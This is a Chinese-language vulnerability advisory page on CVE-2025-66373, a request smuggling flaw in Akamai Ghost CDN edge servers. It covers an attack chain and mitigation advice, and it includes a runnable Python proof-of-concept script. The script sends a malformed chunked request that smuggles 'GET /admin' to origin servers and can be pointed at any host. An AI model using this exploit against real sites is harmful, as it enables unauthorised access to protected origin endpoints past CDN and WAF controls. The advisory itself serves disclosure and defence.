IPBUF安全漏洞报告
English
CVE-2025-66373 CVSS 4.8 中危

CVE-2025-66373 Akamai Ghost CDN HTTP请求走私漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-66373
漏洞类型
HTTP请求走私
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Akamai Ghost (Akamai CDN edge servers)

相关标签

HTTP请求走私AkamaiCDNTransfer-Encoding分块编码CVE-2025-66373边缘服务器Ghost中间件请求边界混淆

漏洞概述

CVE-2025-66373是Akamai CDN边缘服务器上运行的Akamai Ghost组件中存在的一个HTTP请求走私漏洞,CVSS评分4.8,中危级别。该漏洞源于Akamai Ghost在处理分块传输编码(chunked transfer encoding)的请求体时存在错误。当Akamai Ghost接收到包含无效分块体的请求时,如果分块大小与后续分块数据的实际大小不一致,在某些情况下,Akamai Ghost会错误地将该无效请求以及后续的额外字节转发给源站服务器。攻击者可以利用这一特性在额外字节中隐藏一个走私请求,从而在用户不知情的情况下对源站发起攻击。由于该漏洞位于CDN边缘节点,攻击者可以通过构造特殊的HTTP请求来绕过安全检测,直接对源站服务器造成影响。漏洞的影响取决于源站服务器的行为以及其处理来自Akamai Ghost的无效请求的方式。该漏洞无需认证即可利用,攻击复杂度较高但仍具有实际威胁。

技术细节

HTTP请求走私漏洞的核心在于前端负载均衡器(如CDN)和后端源站服务器对HTTP请求边界的解析不一致。在HTTP/1.1协议中,Content-Length和Transfer-Encoding: chunked两种头部用于定义请求体的长度边界。当Transfer-Encoding: chunked被使用时,请求体由一系列分块组成,每个分块以分块大小(十六进制)和分块数据组成,以一个长度为0的分块结束。Akamai Ghost在处理分块编码请求体时存在验证缺陷:当接收到的分块体中分块大小字段声明的值与实际后续分块数据的字节数不匹配时,Akamai Ghost未正确拒绝或规范化该请求,而是将原始无效请求及后续多余的字节数据直接转发给源站服务器。攻击者可以利用Transfer-Encoding头部的差异或分块大小的不一致来构造恶意请求,在看似正常的HTTP请求后附加额外的请求数据。源站服务器在解析时会将这些额外字节作为新请求的开头,从而实现HTTP请求走私。攻击者可以在走私的请求中注入恶意指令,绕过CDN的安全策略直接作用于源站,可能导致未授权访问、数据泄露或服务中断。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站是否使用Akamai CDN服务,可通过HTTP响应头中的server字段、X-Cache或X-Akamai-*}等头部判断。确认目标使用Akamai Ghost边缘服务器后,准备进行HTTP请求走私攻击。
STEP 2
步骤2: 构造恶意分块请求
攻击者构造一个POST请求,使用Transfer-Encoding: chunked编码。关键在于分块大小字段(如"10\r\n"表示16字节)与实际后续分块数据的字节数不匹配。例如,声明16字节但只发送5字节的'AAAAA'数据,导致后续多余的字节被当作独立的HTTP请求处理。
STEP 3
步骤3: 发送走私请求
攻击者将构造好的恶意请求发送到Akamai CDN边缘服务器。Akamai Ghost在接收到无效的分块体时,未能正确验证分块大小与实际数据的一致性,而是将原始请求及后续多余字节一起转发给源站服务器。
STEP 4
步骤4: 走私请求到达源站
源站服务器接收到来自Akamai Ghost的HTTP请求。由于分块体被Akamai Ghost原样转发,源站解析时将多余字节(攻击者构造的走私请求)识别为一个新的HTTP请求,可能绕过CDN的安全策略直接作用于源站。
STEP 5
步骤5: 权限绕过与攻击执行
走私的请求可以伪装成正常用户的请求,绕过CDN的访问控制、WAF规则等安全检测。攻击者可以利用走私请求访问受保护的端点(如/admin、/api/internal等),进行未授权操作、敏感数据读取或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-66373 PoC: Akamai Ghost HTTP Request Smuggling via Malformed Chunked Body Reference: https://www.akamai.com/blog/security/cve-2025-66373-http-request-smuggling-chunked-body Description: When Akamai Ghost receives an invalid chunked body where the chunk size differs from the actual chunk data size, it may forward the invalid request and trailing bytes to the origin server, enabling HTTP request smuggling. Usage: python3 cve-2025-66373-poc.py <target_url> """ import sys import socket import time def send_smuggled_request(target_host, target_port=80, use_https=False): """ Sends a malformed chunked request that exploits the Akamai Ghost request smuggling vulnerability. The trick: chunk size (0x10 = 16) does NOT match actual data length (5 bytes 'AAAAA'). The trailing 'GET /admin HTTP/1.1\r\nHost: target\r\n\r\n' gets forwarded as a separate smuggled request to the origin. """ # Malformed chunked body - size says 16 bytes but only 5 bytes of data follow # The extra bytes after 'AAAAA' will be treated as a new request by the origin smuggled_suffix = ( "GET /admin HTTP/1.1\r\n" "Host: target\r\n" "\r\n" ) # Construct the malicious request payload = ( "POST /api/upload HTTP/1.1\r\n" "Host: {host}\r\n" "Transfer-Encoding: chunked\r\n" "Content-Type: application/octet-stream\r\n" "\r\n" # Chunk size declares 16 (0x10) bytes, but only 5 bytes 'AAAAA' are sent "10\r\n" "AAAAA" # Only 5 bytes instead of declared 16 + smuggled_suffix + # These bytes are forwarded as smuggled request "0\r\n\r\n" ).format(host=target_host) print("[*] Sending malicious chunked request...") print("[*] Chunk size declares 16 bytes but only 5 bytes 'AAAAA' sent") print("[*] Trailing bytes will be forwarded as smuggled request to origin") print("-" * 60) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if use_https: import ssl context = ssl.create_default_context() sock = context.wrap_socket(sock, server_hostname=target_host) sock.settimeout(10) sock.connect((target_host, target_port)) sock.sendall(payload.encode('utf-8')) print("[+] Malicious request sent successfully") # Try to receive response from the first (valid-looking) request try: response = sock.recv(4096) print("[*] Received response for primary request") except socket.timeout: print("[*] No response for primary request (may be dropped)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def send_http2_smuggled_request(target_host, target_port=443): """ HTTP/2 variant using h2c (cleartext) - demonstrates smuggling via HTTP/2 request that gets forwarded as HTTP/1.1 to origin. """ # This PoC targets the chunked body smuggling vector # In practice, the attacker sends through Akamai edge, which forwards # the malformed chunked body to the origin server print("[*] HTTP/2 smuggling variant - requires h2c upgrade") print("[*] Same chunked body technique applies") # Note: Full HTTP/2 implementation requires hyper/h2 libraries # This demonstrates the concept for demonstration purposes pass if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_host> [port]") print(f"Example: python3 {sys.argv[0]} www.target.com 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 use_https = port == 443 print(f"[*] CVE-2025-66373 PoC - Akamai Ghost HTTP Request Smuggling") print(f"[*] Target: {target}:{port}") print() send_smuggled_request(target, port, use_https) print() print("[*] Note: This PoC sends a malformed chunked request.") print("[*] The actual exploitation requires the request to pass through") print("[*] a vulnerable Akamai CDN edge server before reaching the origin.") print("[*] Impact depends on origin server behavior with invalid chunked data.")

影响范围

Akamai Ghost (Akamai CDN edge servers) < 2025-11-17

防御指南

临时缓解措施
如果无法立即升级Akamai CDN边缘服务器,可采取以下临时缓解措施:在源站服务器层面配置严格的HTTP请求解析器,拒绝缺少Content-Length或使用Transfer-Encoding的分块请求中存在的格式异常;启用Akamai Kona WAF的安全策略,检测HTTP请求走私特征(如分块大小与实际数据不匹配);在源站前部署反向代理进行请求规范化;监控源站日志中异常的HTTP请求模式,特别是来自CDN边缘节点的可疑请求。若业务允许,可考虑临时切换CDN服务商以规避该漏洞的直接威胁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表